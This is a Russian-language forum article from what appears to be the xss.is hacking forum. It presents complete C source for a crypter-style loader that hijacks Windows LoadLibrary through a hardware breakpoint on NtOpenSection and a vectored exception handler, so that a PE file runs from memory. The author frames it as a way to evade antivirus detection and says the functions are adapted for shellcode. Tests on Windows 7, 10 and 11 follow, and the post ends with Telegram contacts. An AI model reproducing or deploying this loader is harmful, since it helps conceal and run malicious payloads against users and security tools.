LoadLibrary Reloaded: модификация для загрузки исполняемых файлов из памяти.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: GlitchProject
Специально для xss.is



123.jpg



1. Введение
2. Суть техники
3. Реализация для x64 PE
4. Тесты
5. Заключение

  • Введение

Как известно, большинство крипторов и упаковщиков используют различные методы чтобы распаковать и запустить PE-файл из памяти. Наиболее распространёнными техниками по сей день являются RunPE и LoadPE. Данные техники, особенно если речь идет о LoadPE, в частных случаях и интересных реализациях могут быть вполне эффективными в плане обхода детектов. Суть LoadPE заключается в повторении действий, которые производит системный загрузчик.
Наш метод заключается в том, чтобы эти действия не повторять, а самим заставлять загрузчик грузить бинари с памяти.
Также должен отметить что представленная в коде реализация была позаимствована у пользователя _Indy (по большей части), однако реализовать этот метод можно не одним способом.


  • Суть техники

Метод основан на перехвате некоторых системных вызовов, происходящих во внутренней работе системного загрузчика (LoadLibrary), на этапе, когда он пытается найти DLL в \KnownDlls(32). Всё выше перечисленное будет реализовано на C, и в удобной форме приложено к топику.
Метод, как было уже выяснено, должен работать для любых самых популярных форматов PE-файлов (DLL/EXE), но с .exe есть некоторые мелочи, о которых мы так же расскажем.

Перейдём к сути.

Что нужно для реализации техники?

  • Начинаем как в обычном LoadPE, создаем секцию, если у целевого образа нет релокаций, пытаемся сделать мап по предпочтительной базе. Если релокации есть, маппим по рандом адресу (*BaseAddress = 0).
  • Копируем заголовки, секции в ранее созданное отображение. Патчим релоки, если образ был записан не по своей базе. Если пытаемся запустить .exe файл, то добавляем атрибут IMAGE_FILE_DLL в поле Characteristics файлового заголовка PE-файла, и, обязательно, зануляем AddressOfEntryPoint в опциональном заголовке.
  • Сохраним дескриптор секции, базовый адрес отображения, по которому удалось записать (и релоцировать) целевой образ. Сделаем анмап отображения, ведь оно нам больше не нужно.
  • Начинаем хукать. Ставим HWBP на NtOpenSection, добавляем VEH-обработчик, который и будет делать всю работу, вызываем LoadLibrary с переданным в нее заранее фейковым именем DLL (желательно, фейковым), обрабатываем исключения, проверяем имя образа, имя директории, заставляем загрузчик обработать и исполнить наш PE-файл из памяти, подменяя аргументы в стэке/регистрах.
  • В случае, если мы пытаемся загрузить .exe, после всех процедур необходимо вызвать EntryPoint, и, желательно, пропатчить ImageBaseAddress в PEB базовым адресом, по которому у нас загрузился .exe
Готово!

Перед разговором об альтернативной реализации рассмотрим в вкратце как происходит загрузка библиотеки при вызове LoadLibrary, рассмотрим те вызовы которые интересны нам.

  • Лоадер начинает поиск файла по директориям через множество вызовов NtQueryAttributesFile.
  • При нахождении файла библиотеки происходит вызов NtOpenFile.
  • После получения дескриптора файла создаётся секция через NtCreateSection, последним аргументом передаётся дескриптор файла открытого ранее.
  • Создаётся отображение файла через вызов NtMapViewOfSection.
  • Закрытие дескриптора файла и секции через NtClose.

  • Реализация для x64 PE

Чтож, начнем с заголовков. Создадим заголовки со всеми необходимыми для нас внутренними структурами (на скриншоте свёрнуты для экономии места).
st.jpg


Также, добавим прототипы Nt-функций и макрос для вывода дебаг сообщений. И, естественно, самое главное – структуру LL_WRAPPER, где будет храниться вся нужная для перехвата и загрузки PE информация.
pt1.jpg


pt2.jpg


Покончили со структурами, перейдем к коду. Напишем две функции для копирования образа в память/его релокаций.
Функция LdrCreateImageSection. Создает секцию и в зависимости от наличия релоков маппит либо по базе, либо по рандом адресу. Вызывает LdrConvertFileToImage для копирования образа и патча релоков.

C++: Скопировать в буфер обмена
Код:
PVOID LdrCreateImageSection(PLL_WRAPPER lwe, PVOID ImageBase) {

    LARGE_INTEGER     sec_size;
    OBJECT_ATTRIBUTES ObjAttr;
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
    PIMAGE_NT_HEADERS nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos->e_lfanew);
    DWORD             size, rva;
    ULONG_PTR         NewImageBase;
    HANDLE            LHandle = NULL;
    SIZE_T            ViewSize;
    PVOID             MapAddress = NULL;
    NTSTATUS          STATUS;
    BOOL              has_reloc;



    lwe->entrypoint = nt->OptionalHeader.AddressOfEntryPoint; // save Ep in LL_WRAPPER struct

    if(!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) // check if PE is DLL
      lwe->is_dll = FALSE;
    else
      lwe->is_dll = TRUE;
   

    sec_size.QuadPart = nt->OptionalHeader.SizeOfImage;
    ViewSize = nt->OptionalHeader.SizeOfImage;

    // check if the binary has relocation information
    size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
    has_reloc = size == 0? FALSE : TRUE;
    if (!has_reloc)
    {
      DPRINT("No relocation information present, setting the base to: 0x%p", (PVOID)nt->OptionalHeader.ImageBase);
      MapAddress = (PVOID)nt->OptionalHeader.ImageBase;
    }


    InitializeObjectAttributes(&ObjAttr, 0, 0, 0, 0);

    STATUS = lwe->pZwCreateSection(&LHandle, SECTION_ALL_ACCESS, &ObjAttr, &sec_size, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);
    if(!NT_SUCCESS(STATUS)){
        DPRINT("Unable to create section. NSTATUS: %lu", STATUS);
        return NULL;
    }

    STATUS = lwe->pZwMapViewOfSection(LHandle, NtCurrentProcess(), &MapAddress, 0, 0, NULL, &ViewSize, ViewShare, NULL, PAGE_READWRITE);
    if(!NT_SUCCESS(STATUS) && !has_reloc) {
        DPRINT("Unable to map view of section on preferred base. Trying to map at random base. NSTATUS: %lu", STATUS); // relevant only for x64 binaries
        MapAddress = NULL;
        STATUS = lwe->pZwMapViewOfSection(LHandle, NtCurrentProcess(), &MapAddress, 0, 0, NULL, &ViewSize, ViewShare, NULL, PAGE_READWRITE);
        if(!NT_SUCCESS(STATUS)) {
          DPRINT("Fuck it. NTSTATUS: %lu", STATUS);
          return NULL;
        }
    }

    LdrConvertFileToImage(lwe, ImageBase, MapAddress, has_reloc);
   
    STATUS = lwe->pZwUnmapViewOfSection(NtCurrentProcess(), MapAddress);
    if(!NT_SUCCESS(STATUS)) {
        DPRINT("Unable to Unmap view of section. NSTATUS: %lu", STATUS);
        return NULL;
    }
   
    DPRINT("Created section handle: %p", LHandle);

    lwe->hSection = LHandle; // save section handle

    lwe->DllBase = MapAddress; // save base address

    return MapAddress;
}

Функция LdrConvertFileToImage копирует образ в память, релоцирует, и, при необходимости, зануляет EP и меняет характеристики в файловом заголовке.

C++: Скопировать в буфер обмена
Код:
bool LdrConvertFileToImage(PLL_WRAPPER lwe, PVOID ImageBase, PVOID MapAddress, BOOL has_reloc) {

    PIMAGE_DOS_HEADER      dos = (PIMAGE_DOS_HEADER)ImageBase;
    PIMAGE_NT_HEADERS      nt = RVA2VA(PIMAGE_NT_HEADERS, ImageBase, dos->e_lfanew);
    PIMAGE_NT_HEADERS      ntnew = RVA2VA(PIMAGE_NT_HEADERS, MapAddress, dos->e_lfanew);
    PIMAGE_SECTION_HEADER  sh;
    PBYTE                  ofs;
    PIMAGE_RELOC           list;
    PIMAGE_BASE_RELOCATION ibr;
    DWORD                  rva, size;

    size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

    DPRINT("Copying Headers");
    DPRINT("nt->FileHeader.SizeOfOptionalHeader: %d", nt->FileHeader.SizeOfOptionalHeader);
    DPRINT("nt->OptionalHeader.SizeOfHeaders: %d", nt->OptionalHeader.SizeOfHeaders);
    DPRINT("Copying %d bytes", nt->OptionalHeader.SizeOfHeaders);

    mem_copy(MapAddress, ImageBase, nt->OptionalHeader.SizeOfHeaders);

    DPRINT("DOS Signature (Magic): %08lx, %p", ((PIMAGE_DOS_HEADER)MapAddress)->e_magic, &(((PIMAGE_DOS_HEADER)MapAddress)->e_magic));
    DPRINT("NT Signature: %lx, %p", ntnew->Signature, &(ntnew->Signature));

    DPRINT("Copying each section to memory %p", MapAddress);

    sh = IMAGE_FIRST_SECTION(ntnew);
    for(int i=0; i<ntnew->FileHeader.NumberOfSections; i++)
    {
      PBYTE dest = (PBYTE)MapAddress + sh[i].VirtualAddress;
      PBYTE source = (PBYTE)ImageBase + sh[i].PointerToRawData;

      if (sh[i].SizeOfRawData == 0)
        DPRINT("Section is empty of data, but may contain uninitialized data.");
     
      // Copy the section data
      mem_copy(dest,
          source,
          sh[i].SizeOfRawData);
     
      // Update the actual address of the section
      sh[i].Misc.PhysicalAddress = (DWORD)*dest;

      DPRINT("Copied section name: %s", sh[i].Name);
      DPRINT("Copied section source offset: 0x%X", sh[i].VirtualAddress);
      DPRINT("Copied section dest offset: 0x%X", sh[i].PointerToRawData);
      DPRINT("Copied section absolute address: 0x%lX", sh[i].Misc.PhysicalAddress);
      DPRINT("Copied section size: 0x%lX", sh[i].SizeOfRawData);
    }

    DPRINT("Sections copied.");

    if(!lwe->is_dll) {
        DPRINT("File is exe, changing characteristics in FileHeader and nulling EP.");
        DWORD null = 0;
        ntnew->FileHeader.Characteristics = ntnew->FileHeader.Characteristics | IMAGE_FILE_DLL;
        mem_copy(&ntnew->OptionalHeader.AddressOfEntryPoint, &null, sizeof(DWORD));
    }

    ntnew->OptionalHeader.ImageBase = (ULONG_PTR)MapAddress;

    ofs  = (PBYTE)MapAddress - nt->OptionalHeader.ImageBase;
    //relocs
    if (ofs != 0 && has_reloc)
    {
      DPRINT("Applying Relocations");
     
      rva  = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
      ibr = RVA2VA(PIMAGE_BASE_RELOCATION, MapAddress, rva);
     
      while ((PBYTE)ibr < ((PBYTE)MapAddress + rva + size) && ibr->SizeOfBlock != 0) {
        list = (PIMAGE_RELOC)(ibr + 1);
 
        while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) {
          // check that the RVA is within the boundaries of the PE
          if (ibr->VirtualAddress + list->offset < ntnew->OptionalHeader.SizeOfImage) {
            PULONG_PTR address = (PULONG_PTR)((PBYTE)MapAddress + ibr->VirtualAddress + list->offset);
            if (list->type == IMAGE_REL_BASED_DIR64) {
              *address += (ULONG_PTR)ofs;
            } else if (list->type == IMAGE_REL_BASED_HIGHLOW) {
              *address += (DWORD)(ULONG_PTR)ofs;
            } else if (list->type == IMAGE_REL_BASED_HIGH) {
              *address += HIWORD(ofs);
            } else if (list->type == IMAGE_REL_BASED_LOW) {
              *address += LOWORD(ofs);
            } else if (list->type != IMAGE_REL_BASED_ABSOLUTE) {
              DPRINT("ERROR: Unrecognized Relocation type %08lx.", list->type);
              return false;
            }
          }
          list++;
        }
        ibr = (PIMAGE_BASE_RELOCATION)list;
      }
    }

    return true;
}

Небольшая функция, скорее для удобства. Подготавливает регистры перед установкой (следующего) HWBP, можно перенести функционал из нее в основной VEH-обработчик (необходимо будет переносить для x32… 😊)

C++: Скопировать в буфер обмена
Код:
bool prepare(ULONG_PTR func_addr, CONTEXT* context, PLL_WRAPPER lwe) {

  if(!context) {
        context = (PCONTEXT)lwe->pRtlAllocateHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, sizeof(CONTEXT));
        context->ContextFlags = CONTEXT_DEBUG_REGISTERS;

        lwe->pZwGetContextThread(NtCurrentThread(), context);

        context->Dr7 = 1 << 0;
        context->Dr3 = (ULONG_PTR)lwe; // храним указатель на структуру в Dr3, поскольку там нет ничего важного
        context->Dr0 = func_addr;

        lwe->pZwContinue(context, FALSE);
        lwe->pRtlFreeHeap(NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, context);
    }
    else{
   
        context->Dr7 = 1 << 0;
        context->Dr3 = (ULONG_PTR)lwe;
        context->Dr0 = func_addr;
        lwe->pZwContinue(context, FALSE);

    }

  return true;
}

Самая громоздкая функция в исходнике. VEH-обработчик. Выполняет всю основную работу по перехвату загрузчика. Те, кто знаком с VEH, должны понимать, что тут происходит.

C++: Скопировать в буфер обмена
Код:
#define RET_INSTRUCTION 0xC3 // 0xC2 для wow64 ntdll

LONG veh (PEXCEPTION_POINTERS ExceptionInfo) {

    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { //HWBP

        PLL_WRAPPER lwe = (PLL_WRAPPER)ExceptionInfo->ContextRecord->Dr3;

        if(lwe->status == ZwOpenSection) {
            DPRINT("lwe->status == ZwOpenSection");

            WCHAR              NameBuffer[MAX_PATH*2];
            UNICODE_STRING     ObjectName;
            ULONG              ReturnLength = 0;
            PUNICODE_STRING    TempName;
            POBJECT_ATTRIBUTES ObjectAttr = (POBJECT_ATTRIBUTES)ExceptionInfo->ContextRecord->R8; //3rd arg
            DPRINT("ObjectAttr->ObjectName: %ws", ObjectAttr->ObjectName->Buffer);
            DPRINT("ObjectAttr->RootDirectory: %p", ObjectAttr->RootDirectory);

            TempName = ObjectAttr->ObjectName; // save tempname
           
            if(lwe->pRtlCompareUnicodeString(TempName, &lwe->DllName, TRUE))
              lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);

            ObjectName.Buffer = NameBuffer; // init ObjectName
            ObjectName.Length = MAX_PATH*2;
            ObjectName.MaximumLength = MAX_PATH*2;
           
            if(lwe->pZwQueryObject(ObjectAttr->RootDirectory, ObjectNameInformation, &ObjectName, MAX_PATH*2 + sizeof(UNICODE_STRING), NULL) != 0x00) {
              lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
            }
            DPRINT("ObjectName.Buffer: %ws", ObjectName.Buffer);
            if(lwe->pRtlCompareUnicodeString(&ObjectName, &lwe->Directory, TRUE)) { //check if it's knowndlls
              if(lwe->pRtlCompareUnicodeString(&ObjectName, &lwe->Directory32, TRUE)) {
                lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
              }
            }

            ULONG_PTR* hSection = (ULONG_PTR*)ExceptionInfo->ContextRecord->Rcx; // ptr to section handle
     
            *hSection = (ULONG_PTR)lwe->hSection; // change
            DPRINT("Changed hSection to: %llu", *hSection);

            BYTE ret = 0;
            PBYTE func_base = (PBYTE)ExceptionInfo->ContextRecord->Rip;
            while(*func_base != RET_INSTRUCTION){
              func_base++;
              ret++;
            } //find ret to skip ZwOpenSection

            ExceptionInfo->ContextRecord->Rax = 0;
            ExceptionInfo->ContextRecord->Rip += ret;

            lwe->status = ZwMapViewOfSection;
            prepare((ULONG_PTR)lwe->pZwMapViewOfSection, ExceptionInfo->ContextRecord, lwe);

            lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
         
        }

       
        if(lwe->status == ZwMapViewOfSection) {

            DPRINT("lwe->status == ZwMapViewOfSection");

            ULONG_PTR  hSection = (ULONG_PTR)ExceptionInfo->ContextRecord->Rcx;
            HANDLE     hProcess = (HANDLE)ExceptionInfo->ContextRecord->Rdx;
            ULONG_PTR *BaseAddress = (ULONG_PTR *)ExceptionInfo->ContextRecord->R8;

            ULONG_PTR* RSP = (ULONG_PTR*)ExceptionInfo->ContextRecord->Rsp;

            ULONG     *AllocationType = (ULONG*)((char*)RSP + 9 * 8);
            ULONG     *Protection = (ULONG*)((char*)RSP + 10 * 8);

            #ifdef DEBUG

            ULONG_PTR ZeroBits = (ULONG_PTR)ExceptionInfo->ContextRecord->R9;
            SIZE_T *CommitSize = (SIZE_T*)((char*)RSP + 5 * 8);
            PLARGE_INTEGER *SectionOffset = (PLARGE_INTEGER*)((char*)RSP + 6 * 8);
            PSIZE_T* size = (SIZE_T**)((char*)RSP + 7 * 8);
            ULONG *InheritDisposition = (ULONG*)((char*)RSP + 8 * 8);
            #endif
           
            if(hSection != (ULONG_PTR)lwe->hSection) {
                DPRINT("Section handle is not equal to pre-created one");
                DPRINT("Section handle: %p", hSection);
                lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
            }
            if(hProcess != NtCurrentProcess()) {
              DPRINT("Process handle is not equal to current process handle (pseudo)");
              DPRINT("Process handle: %p", hProcess);
              lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
            }

            if(hSection == (ULONG_PTR)lwe->hSection && hProcess == NtCurrentProcess()) {
                DPRINT("Handle of section is equal to pre-created section handle, and the process handle is ours.");
                *AllocationType = 0; // Cause there will be always SEC_FILE, we don't need that
                *Protection = PAGE_EXECUTE_READWRITE; // :(. u can write handler to set proper protections inside veh handler, but there's rwx map
                *BaseAddress = (ULONG_PTR)lwe->DllBase;
               
                DPRINT("ZwMapViewOfSection: SECTION HANDLE: %p, PROCESS HANDLE: %p, BASE ADDRESS: %p, ZeroBits: %llu, CommitSize: %llu, SectionOffset: %p, VIEW SIZE: %llu, InheritDisposition: %lu, AllocationType: %lu, Win32Protect: %lu", \
                hSection, hProcess, *BaseAddress, ZeroBits, *CommitSize, *SectionOffset, **size, *InheritDisposition, *AllocationType, *Protection);

               
                lwe->status = ZwClose;
                prepare(lwe->pZwClose, ExceptionInfo->ContextRecord, lwe);
                lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
            }
        }
       
        if(lwe->status == ZwClose) {
            DPRINT("lwe->status == ZwClose");
            ULONG_PTR handle = (ULONG_PTR)ExceptionInfo->ContextRecord->Rcx;
           
            if(handle == (ULONG_PTR)lwe->hSection) {
                DPRINT("Handle of section is equal to pre-created section handle!");
                DPRINT("ZwClose: section handle: %llu", handle);
                lwe->status = End;
                lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
            }
            else {
                DPRINT("Handle of section is not equal to pre-created section handle.");
                DPRINT("ZwClose: section handle: %llu", handle);
                ExceptionInfo->ContextRecord->EFlags |= 0x10000;
                lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
            }
           

        }
        if(lwe->status == End) {
            DPRINT("lwe->status == End");
            ExceptionInfo->ContextRecord->Dr0 = 0;
            ExceptionInfo->ContextRecord->Dr1 = 0;
            ExceptionInfo->ContextRecord->Dr2 = 0;
            ExceptionInfo->ContextRecord->Dr3 = 0;
            ExceptionInfo->ContextRecord->Dr6 = 0;
            ExceptionInfo->ContextRecord->Dr7 = 0;
            ExceptionInfo->ContextRecord->EFlags |= 0x10000;
            lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
        }

        lwe->pZwContinue(ExceptionInfo->ContextRecord, FALSE);
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

Собственно, точка входа. Единственное место, где появляется какой-либо импорт и строки, все остальные функции адаптированы для использования в шеллкодах. Здесь происходит инициализация структуры LL_WRAPPER, установка HWBP, добавление VEH-обработчика и т.д.

C++: Скопировать в буфер обмена
Код:
int main(void) {

    HMODULE        ntdll = GetModuleHandleA("ntdll.dll");

    HANDLE         hSection = NULL, hModule = NULL;
    LL_WRAPPER     lwe;
    PVOID          DllBase;
    PVOID          entrypoint;
    //init apis
    lwe.pRtlCompareUnicodeString = (TD_RtlCompareUnicodeString) GetProcAddress(ntdll, "RtlCompareUnicodeString");
    lwe.pRtlCreateUnicodeString  = (TD_RtlCreateUnicodeString)  GetProcAddress(ntdll, "RtlCreateUnicodeString");
    lwe.pRtlAllocateHeap         = (TD_RtlAllocateHeap)         GetProcAddress(ntdll, "RtlAllocateHeap");
    lwe.pZwGetContextThread      = (TD_NtGetContextThread)      GetProcAddress(ntdll, "NtGetContextThread");
    lwe.pRtlFreeHeap             = (TD_RtlFreeHeap)             GetProcAddress(ntdll, "RtlFreeHeap");
    lwe.pZwContinue              = (TD_NtContinue)              GetProcAddress(ntdll, "NtContinue");
    lwe.pZwCreateSection         = (TD_NtCreateSection)         GetProcAddress(ntdll, "NtCreateSection");
    lwe.pZwUnmapViewOfSection    = (TD_NtUnmapViewOfSection)    GetProcAddress(ntdll, "NtUnmapViewOfSection");
    lwe.pZwOpenSection           = (ULONG_PTR)                  GetProcAddress(ntdll, "NtOpenSection");
    lwe.pZwMapViewOfSection      = (TD_NtMapViewOfSection)      GetProcAddress(ntdll, "NtMapViewOfSection");
    lwe.pZwClose                 = (ULONG_PTR)                  GetProcAddress(ntdll, "NtClose");
    lwe.pZwQueryObject           = (TD_NtQueryObject)           GetProcAddress(ntdll, "NtQueryObject");
    //init required strings
    lwe.pRtlCreateUnicodeString(&lwe.Directory,   L"\\KnownDlls");
    lwe.pRtlCreateUnicodeString(&lwe.Directory32, L"\\KnownDlls32");
    lwe.pRtlCreateUnicodeString(&lwe.DllName, DLL_NAME);

    //create image section
    if(!LdrCreateImageSection(&lwe, rawData)){
      DPRINT("Unable to create Image section from raw PE. Something wrong...");
      return -1;
    }

    lwe.status = ZwOpenSection;
    // add veh handler
    PVOID hVeh = AddVectoredExceptionHandler(1, veh);
    // set hwbp
    prepare(lwe.pZwOpenSection, NULL, &lwe);
    //lesgoo
    hModule = LoadLibraryW(DLL_NAME);

    RemoveVectoredExceptionHandler(hVeh);

    DPRINT("Module base: %p", hModule);

    //fix if it's .exe
    if(!lwe.is_dll) {
      DPRINT("Your file is .exe, so it's required to update ImageBaseAddress in PEB with loaded .exe");
      NtCurrentTeb()->ProcessEnvironmentBlock->ImageBaseAddress = hModule;
      entrypoint = RVA2VA(PVOID, hModule, lwe.entrypoint);
      DPRINT("Executing .exe entrypoint: %p", entrypoint);
      ((void(*)())entrypoint)();
    }

    return 0;

}
  • Тесты

Итак, целевой образ. Возьмем условный messagebox (x64), который выводит свой базовый адрес, и проверим работоспособность загрузчика. (разместим его в виде массива байт в заголовке)
mas.jpg


Откроем средства сборки для х64, скомпилируем загрузчик с флагом /DDEBUG (для наглядности), и, давайте же уже, проверим работоспособность нашего загрузчика на Win7/10/11
dbg.jpg



Начнём с Windows 7
7.jpg


✅ Всё работает корректно


Windows 10 (22H2)
10.jpg



✅ Всё работает корректно



Windows 11

44.jpg



✅ Всё работает корректно



Также, проверим обычный calc.exe на Win10/11



Windows 10

10.jpg


✅ Всё работает корректно

Windows 11
11.jpg


✅ Всё работает корректно

  • Заключение

В заключении хочу сказать, что загрузчик очень даже хорош, он обеспечивает неплохое покрытие файлов, а также он очень прост в реализации.

Всем спасибо за прочтение.

Special for XSS, By Glitch.

Контакты:
⭐️Telegram channel (ID: -1001973186772)
⭐️Support in Telegram (ID: 6576043437)
⭐️Telegram bot (ID: 7268858071)
⭐️Xss PM
⭐️Xss Thread
 
Сверху Снизу